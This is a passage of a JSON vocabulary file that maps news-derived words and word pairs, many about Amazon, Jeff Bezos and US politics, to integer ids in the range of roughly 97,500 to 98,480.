wife\": 97516,\n  \"long claimed\": 97517,\n  \"lives event\": 97518,\n  \"newsom tosses\": 97519,\n  \"anxiety change\": 97520,\n  \"housing schools\": 97521,\n  \"obviously quite\": 97522,\n  \"cloud amazon\": 97523,\n  \"announcement read\": 97524,\n  \"twitter reacted\": 97525,\n  \"unless\": 97526,\n  \"constituents know\": 97527,\n  \"school sectors\": 97528,\n  \"new hosts\": 97529,\n  \"hair carell\": 97530,\n  \"complete overzicht\": 97531,\n  \"price retailers\": 97532,\n  \"appario\": 97533,\n  \"firm staff\": 97534,\n  \"weekday mornings\": 97535,\n  \"especially walmart\": 97536,\n  \"broke implicating\": 97537,\n  \"rate wise\": 97538,\n  \"obama ge\": 97539,\n  \"registry transparency\": 97540,\n  \"wsj tech\": 97541,\n  \"linking amazon\": 97542,\n  \"amzn web\": 97543,\n  \"rise office\": 97544,\n  \"suggests better\": 97545,\n  \"blog amazon\": 97546,\n  \"announced sybt\": 97547,\n  \"dora\": 97548,\n  \"sourcing locally\": 97549,\n  \"old jeff\": 97550,\n  \"recent example\": 97551,\n  \"practically peddled\": 97552,\n  \"gmt police\": 97553,\n  \"happened danielle\": 97554,\n  \"tech execs\": 97555,\n  \"reason mueller\": 97556,\n  \"extended credit\": 97557,\n  \"showing scottish\": 97558,\n  \"car network\": 97559,\n  \"tax records\": 97560,\n  \"bring competition\": 97561,\n  \"numbering\": 97562,\n  \"beer prices\": 97563,\n  \"experts partner\": 97564,\n  \"leader deap\": 97565,\n  \"routinely publishes\": 97566,\n  \"term solution\": 97567,\n  \"earnings cycle\": 97568,\n  \"webcast presentation\": 97569,\n  \"empire entertainment\": 97570,\n  \"home territory\": 97571,\n  \"fear includes\": 97572,\n  \"issued statements\": 97573,\n  \"thought amazon\": 97574,\n  \"words used\": 97575,\n  \"shelton benjamin\": 97576,\n  \"voa news\": 97577,\n  \"apocalyptic\": 97578,\n  \"tarmacs\": 97579,\n  \"schools change\": 97580,\n  \"madrona\": 97581,\n  \"navarro denied\": 97582,\n  \"conferences thedeal\": 97583,\n  \"sells clothing\": 97584,\n  \"warns trump\": 97585,\n  \"comments alabama\": 97586,\n  \"better wages\": 97587,\n  \"deal small\": 97588,\n  \"sen patrick\": 97589,\n  \"charts nbc\": 97590,\n  \"announcement does\": 97591,\n  \"trademark applied\": 97592,\n  \"ensuring customers\": 97593,\n  \"welcome soundbite\": 97594,\n  \"parks\": 97595,\n  \"chairman needs\": 97596,\n  \"593\": 97597,\n  \"personally yeah\": 97598,\n  \"turkstra\": 97599,\n  \"pimentel wireimage\": 97600,\n  \"ralph norman\": 97601,\n  \"largest buyer\": 97602,\n  \"national cathdral\": 97603,\n  \"journal dan\": 97604,\n  \"sheppard lost\": 97605,\n  \"jnqzosonfn jeff\": 97606,\n  \"advocate mechanism\": 97607,\n  \"claiborne distinguished\": 97608,\n  \"mo\": 97609,\n  \"trump rails\": 97610,\n  \"autobot\": 97611,\n  \"acquiring online\": 97612,\n  \"commission major\": 97613,\n  \"nineteen\": 97614,\n  \"pay yearly\": 97615,\n  \"k0 typeof\": 97616,\n  \"juicy affair\": 97617,\n  \"cnnmoney\": 97618,\n  \"36th annual\": 97619,\n  \"offer experience\": 97620,\n  \"user jokingly\": 97621,\n  \"bribed\": 97622,\n  \"unreasonable overly\": 97623,\n  \"structural problems\": 97624,\n  \"stash\": 97625,\n  \"jan 2018plenty\": 97626,\n  \"retailer gloated\": 97627,\n  \"videoid movetonexttimeout\": 97628,\n  \"partial government\": 97629,\n  \"allege retaliatory\": 97630,\n  \"funnel drone\": 97631,\n  \"headline trump\": 97632,\n  \"1818\": 97633,\n  \"online business\": 97634,\n  \"diminished\": 97635,\n  \"considered violation\": 97636,\n  \"beige khakis\": 97637,\n  \"men adinfo\": 97638,\n  \"chapman\": 97639,\n  \"sale instead\": 97640,\n  \"businesses nationwide\": 97641,\n  \"netflix demons\": 97642,\n  \"unlovable trump\": 97643,\n  \"twitter presence\": 97644,\n  \"ballesteros\": 97645,\n  \"super strong\": 97646,\n  \"taxpayers rely\": 97647,\n  \"multiple people\": 97648,\n  \"protection dep\": 97649,\n  \"assistance payments\": 97650,\n  \"company customer\": 97651,\n  \"goodness tina\": 97652,\n  \"consider public\": 97653,\n  \"include helping\": 97654,\n  \"economy adds\": 97655,\n  \"viral published\": 97656,\n  \"second natl\": 97657,\n  \"decade nasdaq\": 97658,\n  \"total patents\": 97659,\n  \"post fake\": 97660,\n  \"kil\": 97661,\n  \"biggest losers\": 97662,\n  \"defense kind\": 97663,\n  \"evolving intensely\": 97664,\n  \"planes\": 97665,\n  \"wireless industry\": 97666,\n  \"abortion pro\": 97667,\n  \"election corsi\": 97668,\n  \"massive highly\": 97669,\n  \"safely relegated\": 97670,\n  \"small merchants\": 97671,\n  \"andy puzder\": 97672,\n  \"home kit\": 97673,\n  \"stephanie monroe\": 97674,\n  \"trump using\": 97675,\n  \"micro computer\": 97676,\n  \"montessori schools\": 97677,\n  \"kafka recode\": 97678,\n  \"seattle office\": 97679,\n  \"omar\": 97680,\n  \"unveil\": 97681,\n  \"wayfair including\": 97682,\n  \"center louis\": 97683,\n  \"hole\": 97684,\n  \"expensive servers\": 97685,\n  \"management software\": 97686,\n  \"clybourne\": 97687,\n  \"enable federal\": 97688,\n  \"page adds\": 97689,\n  \"starring julia\": 97690,\n  \"experiences working\": 97691,\n  \"consumer standard\": 97692,\n  \"won suffer\": 97693,\n  \"committee amazon\": 97694,\n  \"limited influence\": 97695,\n  \"true crime\": 97696,\n  \"warren plan\": 97697,\n  \"lower wages\": 97698,\n  \"invest billions\": 97699,\n  \"city began\": 97700,\n  \"price garamendi\": 97701,\n  \"anup kaphle\": 97702,\n  \"trump sanders\": 97703,\n  \"nothings\": 97704,\n  \"trophy hunter\": 97705,\n  \"enquirer stopped\": 97706,\n  \"girlfriend karen\": 97707,\n  \"amazon mentioned\": 97708,\n  \"despite revenue\": 97709,\n  \"live secluded\": 97710,\n  \"puts aramco\": 97711,\n  \"socialflow organic\": 97712,\n  \"higher cost\": 97713,\n  \"information asymmetric\": 97714,\n  \"authors james\": 97715,\n  \"iphone bloomberg\": 97716,\n  \"companies facebook\": 97717,\n  \"dealt fresh\": 97718,\n  \"adviser sure\": 97719,\n  \"average asset\": 97720,\n  \"regulatory agency\": 97721,\n  \"sp2 supercars\": 97722,\n  \"false according\": 97723,\n  \"kid\": 97724,\n  \"screeny r4ee\": 97725,\n  \"guilfoyle\": 97726,\n  \"dead\": 97727,\n  \"renew\": 97728,\n  \"ctr good\": 97729,\n  \"facebook commenting\": 97730,\n  \"sailed\": 97731,\n  \"lowlife break\": 97732,\n  \"selling rekognition\": 97733,\n  \"recharge\": 97734,\n  \"dos\": 97735,\n  \"initializing\": 97736,\n  \"philadelphia released\": 97737,\n  \"damage county\": 97738,\n  \"secluded\": 97739,\n  \"following putin\": 97740,\n  \"mackenzie referring\": 97741,\n  \"triumphantly humiliated\": 97742,\n  \"bolsonaro presidency\": 97743,\n  \"soon usa\": 97744,\n  \"life force\": 97745,\n  \"people click\": 97746,\n  \"security investigations\": 97747,\n  \"times president\": 97748,\n  \"hussein government\": 97749,\n  \"chernoff\": 97750,\n  \"thedemocratic party\": 97751,\n  \"post trump\": 97752,\n  \"delta follows\": 97753,\n  \"user growth\": 97754,\n  \"poverty level\": 97755,\n  \"mentioned writer\": 97756,\n  \"numerous unflattering\": 97757,\n  \"tunnel\": 97758,\n  \"p60\": 97759,\n  \"adrenaline\": 97760,\n  \"dogs kathleen\": 97761,\n  \"cost perspective\": 97762,\n  \"act foia\": 97763,\n  \"romantic personal\": 97764,\n  \"union trade\": 97765,\n  \"business brittany\": 97766,\n  \"property knowledge\": 97767,\n  \"personal client\": 97768,\n  \"targeted media\": 97769,\n  \"heatwave\": 97770,\n  \"dystopian instant\": 97771,\n  \"election cycle\": 97772,\n  \"cramer comments\": 97773,\n  \"beeson\": 97774,\n  \"coonschristopher chris\": 97775,\n  \"i8 concat\": 97776,\n  \"function za\": 97777,\n  \"right thing\": 97778,\n  \"tennessee officials\": 97779,\n  \"refuse\": 97780,\n  \"bolduan\": 97781,\n  \"maga apparel\": 97782,\n  \"practice known\": 97783,\n  \"viewed separately\": 97784,\n  \"tariffs levied\": 97785,\n  \"pagex\": 97786,\n  \"susanne craig\": 97787,\n  \"female persuasion\": 97788,\n  \"starr needs\": 97789,\n  \"bingeability\": 97790,\n  \"lives matter\": 97791,\n  \"mere existence\": 97792,\n  \"comment vietnam\": 97793,\n  \"saudi ties\": 97794,\n  \"hang seng\": 97795,\n  \"try free\": 97796,\n  \"row making\": 97797,\n  \"beginning trump\": 97798,\n  \"newsflash email\": 97799,\n  \"estimates handled\": 97800,\n  \"time frame\": 97801,\n  \"analytics canada\": 97802,\n  \"slower quarter\": 97803,\n  \"alfonso cuaron\": 97804,\n  \"clinched online\": 97805,\n  \"technology budget\": 97806,\n  \"commerce app\": 97807,\n  \"world infringement\": 97808,\n  \"brathwaite\": 97809,\n  \"candidate seized\": 97810,\n  \"trump commerce\": 97811,\n  \"deplorables features\": 97812,\n  \"using american\": 97813,\n  \"shelter davis\": 97814,\n  \"property according\": 97815,\n  \"seconds kelly\": 97816,\n  \"offset declining\": 97817,\n  \"york law\": 97818,\n  \"accompanies\": 97819,\n  \"blurry image\": 97820,\n  \"inch laptop\": 97821,\n  \"oil brent\": 97822,\n  \"workplace discovered\": 97823,\n  \"notions\": 97824,\n  \"rose mcgowan\": 97825,\n  \"pigs\": 97826,\n  \"actually moved\": 97827,\n  \"footprint cnn\": 97828,\n  \"claim considering\": 97829,\n  \"yves\": 97830,\n  \"satanists\": 97831,\n  \"disease adds\": 97832,\n  \"sent stories\": 97833,\n  \"continue delivering\": 97834,\n  \"leap beer\": 97835,\n  \"amazon leading\": 97836,\n  \"administration pursues\": 97837,\n  \"buy drugs\": 97838,\n  \"wouldn approve\": 97839,\n  \"house intern\": 97840,\n  \"report understand\": 97841,\n  \"lingo\": 97842,\n  \"run probably\": 97843,\n  \"time newly\": 97844,\n  \"hunton andrews\": 97845,\n  \"deems unfair\": 97846,\n  \"million gallons\": 97847,\n  \"patronite\": 97848,\n  \"york gubernatorial\": 97849,\n  \"unexpectedly positioning\": 97850,\n  \"laughing issue\": 97851,\n  \"ception time\": 97852,\n  \"comment warning\": 97853,\n  \"victims blame\": 97854,\n  \"win nasa\": 97855,\n  \"1021380986452545537 trump\": 97856,\n  \"fingers\": 97857,\n  \"ben kew\": 97858,\n  \"bezos took\": 97859,\n  \"cepr net\": 97860,\n  \"utility emailed\": 97861,\n  \"weeks attorney\": 97862,\n  \"caused problems\": 97863,\n  \"satc mmv\": 97864,\n  \"recently opened\": 97865,\n  \"brand remains\": 97866,\n  \"morning column\": 97867,\n  \"york university\": 97868,\n  \"deal announced\": 97869,\n  \"pro satanism\": 97870,\n  \"super steep\": 97871,\n  \"attended quietly\": 97872,\n  \"venezuela fcc\": 97873,\n  \"hasn priced\": 97874,\n  \"sd\": 97875,\n  \"cardinal health\": 97876,\n  \"direct contradiction\": 97877,\n  \"looking statements\": 97878,\n  \"wonderkid sandeep\": 97879,\n  \"inaugurations\": 97880,\n  \"whiny seattle\": 97881,\n  \"just savvy\": 97882,\n  \"overseas netflix\": 97883,\n  \"elite tom\": 97884,\n  \"compliance boxes\": 97885,\n  \"wonderful opportunity\": 97886,\n  \"real issue\": 97887,\n  \"hemingway susan\": 97888,\n  \"tremendous crowds\": 97889,\n  \"contractor offers\": 97890,\n  \"easily says\": 97891,\n  \"news 200\": 97892,\n  \"trump promotes\": 97893,\n  \"marketwatch marketwatch\": 97894,\n  \"twitter arguably\": 97895,\n  \"growing shortages\": 97896,\n  \"weed joke\": 97897,\n  \"adrian lam\": 97898,\n  \"money contributions\": 97899,\n  \"expected sales\": 97900,\n  \"learnings\": 97901,\n  \"stats share\": 97902,\n  \"enable\": 97903,\n  \"vaccines vaxxed\": 97904,\n  \"centre building\": 97905,\n  \"rental scams\": 97906,\n  \"medium amazon\": 97907,\n  \"preserve capitalism\": 97908,\n  \"short termism\": 97909,\n  \"disappointing holiday\": 97910,\n  \"meaning easier\": 97911,\n  \"listener email\": 97912,\n  \"hoo boy\": 97913,\n  \"reddick bar\": 97914,\n  \"trillionaires\": 97915,\n  \"china analysts\": 97916,\n  \"lam nbc\": 97917,\n  \"enquirer apparent\": 97918,\n  \"tony nominated\": 97919,\n  \"power public\": 97920,\n  \"montreal\": 97921,\n  \"upstateamerica\": 97922,\n  \"jobs described\": 97923,\n  \"derails\": 97924,\n  \"yusaku\": 97925,\n  \"portfolio fagan\": 97926,\n  \"comfortable owning\": 97927,\n  \"dawsey jdawsey1\": 97928,\n  \"captains\": 97929,\n  \"increasingly threadbare\": 97930,\n  \"farmers amazon\": 97931,\n  \"exclude rivals\": 97932,\n  \"mcconnell presses\": 97933,\n  \"viral cartoon\": 97934,\n  \"salles strongly\": 97935,\n  \"pecker publisher\": 97936,\n  \"longer 2019\": 97937,\n  \"contributions corporate\": 97938,\n  \"dod\": 97939,\n  \"potential obstacle\": 97940,\n  \"trump design\": 97941,\n  \"home country\": 97942,\n  \"pass share\": 97943,\n  \"princeton graduate\": 97944,\n  \"forbes annual\": 97945,\n  \"sparta memoir\": 97946,\n  \"impact possible\": 97947,\n  \"hat shows\": 97948,\n  \"named starbucks\": 97949,\n  \"commerce logistics\": 97950,\n  \"intellectually immature\": 97951,\n  \"jennings global\": 97952,\n  \"universal child\": 97953,\n  \"subsidizing chinese\": 97954,\n  \"terms typically\": 97955,\n  \"lance bottoms\": 97956,\n  \"republicans blatantly\": 97957,\n  \"enquirer demanded\": 97958,\n  \"syed\": 97959,\n  \"solar farms\": 97960,\n  \"muellerism\": 97961,\n  \"palsy\": 97962,\n  \"contained list\": 97963,\n  \"people involved\": 97964,\n  \"bipartisanship republicans\": 97965,\n  \"previously unaired\": 97966,\n  \"hengyang china\": 97967,\n  \"paperbacks buy\": 97968,\n  \"extended contracts\": 97969,\n  \"skeptics shira\": 97970,\n  \"medicines\": 97971,\n  \"moguldom\": 97972,\n  \"collectible\": 97973,\n  \"daughters 100000\": 97974,\n  \"stupidest\": 97975,\n  \"latest technology\": 97976,\n  \"largest commerce\": 97977,\n  \"published recently\": 97978,\n  \"creating high\": 97979,\n  \"doesn accept\": 97980,\n  \"suresh\": 97981,\n  \"big guy\": 97982,\n  \"a2 j8i\": 97983,\n  \"high note\": 97984,\n  \"mining operations\": 97985,\n  \"thought wow\": 97986,\n  \"snider\": 97987,\n  \"today noon\": 97988,\n  \"prime notable\": 97989,\n  \"employment trump\": 97990,\n  \"isolating colony\": 97991,\n  \"sally hubbard\": 97992,\n  \"local\": 97993,\n  \"legitimatized parallel\": 97994,\n  \"annual safeway\": 97995,\n  \"eating techniques\": 97996,\n  \"chinese descent\": 97997,\n  \"day hits\": 97998,\n  \"provided upbeat\": 97999,\n  \"perry madea\": 98000,\n  \"intentional manner\": 98001,\n  \"think avery\": 98002,\n  \"lights somber\": 98003,\n  \"corporate sweeteners\": 98004,\n  \"southeast asia\": 98005,\n  \"bundo parody\": 98006,\n  \"showed small\": 98007,\n  \"ascertain\": 98008,\n  \"emails public\": 98009,\n  \"political loyalist\": 98010,\n  \"ceos alleges\": 98011,\n  \"goddamn\": 98012,\n  \"decisions regarding\": 98013,\n  \"amazon hearing\": 98014,\n  \"115 000\": 98015,\n  \"story armed\": 98016,\n  \"new regulatory\": 98017,\n  \"espinal missed\": 98018,\n  \"seduction\": 98019,\n  \"isn stopping\": 98020,\n  \"foto sourcecentury\": 98021,\n  \"acknowledge\": 98022,\n  \"candidates finish\": 98023,\n  \"river lawsuit\": 98024,\n  \"sanders wants\": 98025,\n  \"frugal\": 98026,\n  \"cortez represents\": 98027,\n  \"edugyan knopf\": 98028,\n  \"internet explorer\": 98029,\n  \"arrogant jeff\": 98030,\n  \"floyd mayweather\": 98031,\n  \"fixated\": 98032,\n  \"obama gang\": 98033,\n  \"ramseur north\": 98034,\n  \"lifetime sentence\": 98035,\n  \"delaraba\": 98036,\n  \"medicines originate\": 98037,\n  \"title says\": 98038,\n  \"regarding immigrant\": 98039,\n  \"runnings lights\": 98040,\n  \"bringing massive\": 98041,\n  \"potential harm\": 98042,\n  \"wmt growth\": 98043,\n  \"adminstration\": 98044,\n  \"c000212486\": 98045,\n  \"feed share\": 98046,\n  \"affairs\": 98047,\n  \"blazes\": 98048,\n  \"allegedly leaked\": 98049,\n  \"distinct categories\": 98050,\n  \"backlash john\": 98051,\n  \"reduce market\": 98052,\n  \"render legal\": 98053,\n  \"bride donning\": 98054,\n  \"started shadow\": 98055,\n  \"home market\": 98056,\n  \"trump approached\": 98057,\n  \"turning drama\": 98058,\n  \"sap oracle\": 98059,\n  \"flourished\": 98060,\n  \"bank ceo\": 98061,\n  \"play services\": 98062,\n  \"mta right\": 98063,\n  \"voters republicans\": 98064,\n  \"corporations turned\": 98065,\n  \"cap ahead\": 98066,\n  \"expressed outrage\": 98067,\n  \"rare despite\": 98068,\n  \"195 return\": 98069,\n  \"hour raise\": 98070,\n  \"bureaucracy amazon\": 98071,\n  \"amazon mega\": 98072,\n  \"outage\": 98073,\n  \"unintended adverse\": 98074,\n  \"spam protection\": 98075,\n  \"oxide nys\": 98076,\n  \"topics\": 98077,\n  \"cboe volatility\": 98078,\n  \"today story\": 98079,\n  \"including enumerating\": 98080,\n  \"publishes shocking\": 98081,\n  \"ad exchange\": 98082,\n  \"laptops imported\": 98083,\n  \"constituents voiced\": 98084,\n  \"100 section\": 98085,\n  \"legitimate sellers\": 98086,\n  \"billionaire ranks\": 98087,\n  \"ricke\": 98088,\n  \"similar study\": 98089,\n  \"pro comprehensive\": 98090,\n  \"kindle direct\": 98091,\n  \"rights sent\": 98092,\n  \"deserves props\": 98093,\n  \"publicly threatened\": 98094,\n  \"little harder\": 98095,\n  \"reached nearly\": 98096,\n  \"ore jan\": 98097,\n  \"tax penalty\": 98098,\n  \"expediting\": 98099,\n  \"armed person\": 98100,\n  \"young adult\": 98101,\n  \"hogsett\": 98102,\n  \"make grilled\": 98103,\n  \"foreign docs\": 98104,\n  \"states think\": 98105,\n  \"ko orange\": 98106,\n  \"expanding internationally\": 98107,\n  \"believes divestiture\": 98108,\n  \"tree removal\": 98109,\n  \"service chief\": 98110,\n  \"legend reuters\": 98111,\n  \"pariente\": 98112,\n  \"collusion charge\": 98113,\n  \"neal marshall\": 98114,\n  \"formats gain\": 98115,\n  \"friend schwietzer\": 98116,\n  \"hostile publications\": 98117,\n  \"307 type\": 98118,\n  \"personal jeff\": 98119,\n  \"view details\": 98120,\n  \"cruze hatchbacks\": 98121,\n  \"regional operations\": 98122,\n  \"mnuchin biggest\": 98123,\n  \"sex tape\": 98124,\n  \"extension parts\": 98125,\n  \"chernow\": 98126,\n  \"korean talks\": 98127,\n  \"protection laws\": 98128,\n  \"uber drivers\": 98129,\n  \"amazon sentiment\": 98130,\n  \"make israel\": 98131,\n  \"deviate\": 98132,\n  \"million open\": 98133,\n  \"choice product\": 98134,\n  \"spacey billionaire\": 98135,\n  \"bulb photo\": 98136,\n  \"walmart carterpage\": 98137,\n  \"create fox\": 98138,\n  \"floodgates\": 98139,\n  \"testimony jon\": 98140,\n  \"data tech\": 98141,\n  \"raunchy manner\": 98142,\n  \"home chef\": 98143,\n  \"glueck told\": 98144,\n  \"driver saw\": 98145,\n  \"regionally syndicated\": 98146,\n  \"america\": 98147,\n  \"formation templates\": 98148,\n  \"changed really\": 98149,\n  \"colloquially known\": 98150,\n  \"politico advocates\": 98151,\n  \"infamous series\": 98152,\n  \"class construction\": 98153,\n  \"file charges\": 98154,\n  \"ahead 2018\": 98155,\n  \"extended solo\": 98156,\n  \"reported giving\": 98157,\n  \"workers boycott\": 98158,\n  \"gaggle aboard\": 98159,\n  \"washingtonian cities\": 98160,\n  \"bidding closes\": 98161,\n  \"dimon ceo\": 98162,\n  \"loyal generals\": 98163,\n  \"published sources\": 98164,\n  \"larry liebert\": 98165,\n  \"tech monopolies\": 98166,\n  \"revenue recommendations\": 98167,\n  \"anindelible fashion\": 98168,\n  \"billion study\": 98169,\n  \"previously donated\": 98170,\n  \"improving healthcare\": 98171,\n  \"specifically aimed\": 98172,\n  \"alternative sources\": 98173,\n  \"seal trade\": 98174,\n  \"ago retailers\": 98175,\n  \"book chart\": 98176,\n  \"founder paul\": 98177,\n  \"getting 417\": 98178,\n  \"politics police\": 98179,\n  \"coupon\": 98180,\n  \"1iq5vw0 videodurationdivid\": 98181,\n  \"lawsuit challenging\": 98182,\n  \"demand emails\": 98183,\n  \"sir herera\": 98184,\n  \"american congressman\": 98185,\n  \"support girls\": 98186,\n  \"millions cower\": 98187,\n  \"anybody including\": 98188,\n  \"little reported\": 98189,\n  \"better corporate\": 98190,\n  \"hostile\": 98191,\n  \"practices ranging\": 98192,\n  \"extended prime\": 98193,\n  \"manager\": 98194,\n  \"largest stock\": 98195,\n  \"prices dulled\": 98196,\n  \"denies quiet\": 98197,\n  \"operating income\": 98198,\n  \"jobs lost\": 98199,\n  \"arguing recently\": 98200,\n  \"picks fiji\": 98201,\n  \"declared trade\": 98202,\n  \"cortez thought\": 98203,\n  \"tangy\": 98204,\n  \"telephone number\": 98205,\n  \"broward counties\": 98206,\n  \"ben brody\": 98207,\n  \"sustained effort\": 98208,\n  \"threat level\": 98209,\n  \"180 million\": 98210,\n  \"providing effectively\": 98211,\n  \"197658\": 98212,\n  \"structural remedy\": 98213,\n  \"rampant wall\": 98214,\n  \"post coverage\": 98215,\n  \"want wider\": 98216,\n  \"developing cloud\": 98217,\n  \"blame fda\": 98218,\n  \"president failed\": 98219,\n  \"whitesell\": 98220,\n  \"attorney mike\": 98221,\n  \"300 amazon\": 98222,\n  \"state nys\": 98223,\n  \"jeff naughty\": 98224,\n  \"republicans love\": 98225,\n  \"called terraclear\": 98226,\n  \"bombs\": 98227,\n  \"encourages readers\": 98228,\n  \"cow pies\": 98229,\n  \"outlets including\": 98230,\n  \"high volume\": 98231,\n  \"numerous nice\": 98232,\n  \"recast dvr\": 98233,\n  \"trade pact\": 98234,\n  \"peanuts\": 98235,\n  \"2018 attorney\": 98236,\n  \"campaign looms\": 98237,\n  \"ownership market\": 98238,\n  \"truly free\": 98239,\n  \"delivery shipments\": 98240,\n  \"50eb2d087826a77e5d000001 latest\": 98241,\n  \"major newspapers\": 98242,\n  \"source underperforming\": 98243,\n  \"courts handle\": 98244,\n  \"critics choice\": 98245,\n  \"free naloxone\": 98246,\n  \"york laguardia\": 98247,\n  \"today biggest\": 98248,\n  \"pays lip\": 98249,\n  \"grilled cheese\": 98250,\n  \"sting operation\": 98251,\n  \"expansion plans\": 98252,\n  \"multiple allegations\": 98253,\n  \"lose\": 98254,\n  \"service shipping\": 98255,\n  \"recently successfully\": 98256,\n  \"editor illinois\": 98257,\n  \"democrat seeking\": 98258,\n  \"photographer cbs\": 98259,\n  \"general project\": 98260,\n  \"good fun\": 98261,\n  \"hardly noteworthy\": 98262,\n  \"adulterous\": 98263,\n  \"entire bushwick\": 98264,\n  \"follow paul\": 98265,\n  \"government audits\": 98266,\n  \"purdue pharma\": 98267,\n  \"l2 j8i\": 98268,\n  \"says people\": 98269,\n  \"reserve hit\": 98270,\n  \"jeffbezos\": 98271,\n  \"platform kindle\": 98272,\n  \"amazon surfaced\": 98273,\n  \"people ami\": 98274,\n  \"return senior\": 98275,\n  \"uses thousands\": 98276,\n  \"investing billions\": 98277,\n  \"speech parscale\": 98278,\n  \"actual living\": 98279,\n  \"agrawal\": 98280,\n  \"bezos instituted\": 98281,\n  \"trump stumps\": 98282,\n  \"leads regulators\": 98283,\n  \"billion versus\": 98284,\n  \"quarter amzn\": 98285,\n  \"push prosecutorial\": 98286,\n  \"cascading\": 98287,\n  \"warned ocasio\": 98288,\n  \"locate\": 98289,\n  \"recent general\": 98290,\n  \"netflix offers\": 98291,\n  \"418987 dems\": 98292,\n  \"second tier\": 98293,\n  \"amendment free\": 98294,\n  \"ask somebody\": 98295,\n  \"began attacking\": 98296,\n  \"craft spells\": 98297,\n  \"maximize profit\": 98298,\n  \"reportedly urged\": 98299,\n  \"bing\": 98300,\n  \"document admitting\": 98301,\n  \"quickly gaining\": 98302,\n  \"amazon magnolia\": 98303,\n  \"bugbears\": 98304,\n  \"metaphysical\": 98305,\n  \"segment experiencing\": 98306,\n  \"sent sleazy\": 98307,\n  \"similar concerns\": 98308,\n  \"adherence\": 98309,\n  \"automaker reported\": 98310,\n  \"presidents dating\": 98311,\n  \"angerer share\": 98312,\n  \"says hottest\": 98313,\n  \"employees govpredict\": 98314,\n  \"fox standard\": 98315,\n  \"finally bagged\": 98316,\n  \"house sought\": 98317,\n  \"adsense\": 98318,\n  \"vancouversun cbsnews\": 98319,\n  \"perception\": 98320,\n  \"handbags bloomingdale\": 98321,\n  \"scene showed\": 98322,\n  \"remain flat\": 98323,\n  \"dave ferrari\": 98324,\n  \"story moodys\": 98325,\n  \"mini maga\": 98326,\n  \"p2380057 m570\": 98327,\n  \"hollywood actors\": 98328,\n  \"coalition government\": 98329,\n  \"launched swa\": 98330,\n  \"increased push\": 98331,\n  \"target customers\": 98332,\n  \"vimeo\": 98333,\n  \"forces concede\": 98334,\n  \"french fry\": 98335,\n  \"target leveraging\": 98336,\n  \"facebook alleged\": 98337,\n  \"journalists asked\": 98338,\n  \"francis wilkinson\": 98339,\n  \"model sparking\": 98340,\n  \"trump blasted\": 98341,\n  \"westover coming\": 98342,\n  \"bolsonaro wants\": 98343,\n  \"split amazon\": 98344,\n  \"cape believes\": 98345,\n  \"wages appreciate\": 98346,\n  \"repeated claim\": 98347,\n  \"provide funding\": 98348,\n  \"doorbell maker\": 98349,\n  \"challenge mcbride\": 98350,\n  \"trump followed\": 98351,\n  \"hell step\": 98352,\n  \"tower meeting\": 98353,\n  \"carrell fake\": 98354,\n  \"billion deal\": 98355,\n  \"secret wedding\": 98356,\n  \"outline particular\": 98357,\n  \"shared tips\": 98358,\n  \"photos unless\": 98359,\n  \"infringement false\": 98360,\n  \"sheets\": 98361,\n  \"appears adamant\": 98362,\n  \"perfect companion\": 98363,\n  \"nbc meet\": 98364,\n  \"schuster announced\": 98365,\n  \"trump fierce\": 98366,\n  \"press discussed\": 98367,\n  \"movement wnd\": 98368,\n  \"relief zuker\": 98369,\n  \"clip bartiromo\": 98370,\n  \"carpet rollout\": 98371,\n  \"wise strategy\": 98372,\n  \"ami share\": 98373,\n  \"woody johnson\": 98374,\n  \"raunchiest selfies\": 98375,\n  \"currently represented\": 98376,\n  \"cd cd\": 98377,\n  \"purple\": 98378,\n  \"la liga\": 98379,\n  \"public enjoyment\": 98380,\n  \"president publicly\": 98381,\n  \"ruthless unhinged\": 98382,\n  \"considering challenge\": 98383,\n  \"fired alleges\": 98384,\n  \"anti media\": 98385,\n  \"right fit\": 98386,\n  \"outlets cnn\": 98387,\n  \"traffic increased\": 98388,\n  \"maxsa attempt\": 98389,\n  \"actuary\": 98390,\n  \"day geekwire\": 98391,\n  \"problems wi\": 98392,\n  \"picture winning\": 98393,\n  \"omnipresence\": 98394,\n  \"controversies\": 98395,\n  \"emerging market\": 98396,\n  \"constant demand\": 98397,\n  \"wasn disaster\": 98398,\n  \"jimmy failla\": 98399,\n  \"sergeants\": 98400,\n  \"hit american\": 98401,\n  \"centered design\": 98402,\n  \"company offset\": 98403,\n  \"agenda rightward\": 98404,\n  \"cliff edge\": 98405,\n  \"ami hasn\": 98406,\n  \"gdp growth\": 98407,\n  \"neurotic mother\": 98408,\n  \"liveable city\": 98409,\n  \"slaughterhouse\": 98410,\n  \"311\": 98411,\n  \"beast interview\": 98412,\n  \"fair competition\": 98413,\n  \"zack\": 98414,\n  \"day average\": 98415,\n  \"noon lunch\": 98416,\n  \"sanders held\": 98417,\n  \"comcast cmcsa\": 98418,\n  \"___ humbug\": 98419,\n  \"mumbai asia\": 98420,\n  \"trump likes\": 98421,\n  \"temporary differences\": 98422,\n  \"cashier\": 98423,\n  \"mechanism\": 98424,\n  \"single candidate\": 98425,\n  \"nasdaq dell\": 98426,\n  \"giving excuses\": 98427,\n  \"credibility abramowitz\": 98428,\n  \"research believes\": 98429,\n  \"ta prime\": 98430,\n  \"billion apple\": 98431,\n  \"turn source\": 98432,\n  \"plantilla\": 98433,\n  \"nation host\": 98434,\n  \"potential challenger\": 98435,\n  \"integrate amazon\": 98436,\n  \"contrast\": 98437,\n  \"post rep\": 98438,\n  \"huffpost sept\": 98439,\n  \"inevitably denounces\": 98440,\n  \"previously written\": 98441,\n  \"blew deal\": 98442,\n  \"rad cvs\": 98443,\n  \"confronted professional\": 98444,\n  \"plant based\": 98445,\n  \"bezos biografia\": 98446,\n  \"unusual public\": 98447,\n  \"represent rising\": 98448,\n  \"amzn joining\": 98449,\n  \"installations\": 98450,\n  \"ranked\": 98451,\n  \"middle class\": 98452,\n  \"provide information\": 98453,\n  \"suspicious\": 98454,\n  \"sent link\": 98455,\n  \"mead\": 98456,\n  \"provide perfect\": 98457,\n  \"benefitting\": 98458,\n  \"1976\": 98459,\n  \"people liberation\": 98460,\n  \"cell service\": 98461,\n  \"job folks\": 98462,\n  \"equipped teacher\": 98463,\n  \"press spokespeople\": 98464,\n  \"information makes\": 98465,\n  \"antenna\": 98466,\n  \"8217 best\": 98467,\n  \"plain view\": 98468,\n  \"web company\": 98469,\n  \"example partners\": 98470,\n  \"showcased\": 98471,\n  \"effects wizards\": 98472,\n  \"deathbed confession\": 98473,\n  \"fat pension\": 98474,\n  \"online hosting\": 98475,\n  \"multiple businesses\": 98476,\n  \"digital images\": 98477,\n  \"nextvideourl nextvideoplaytimeout\": 98478,\n  \"voice recognition\": 98479,\n  \"retailers final\": 98480,\n  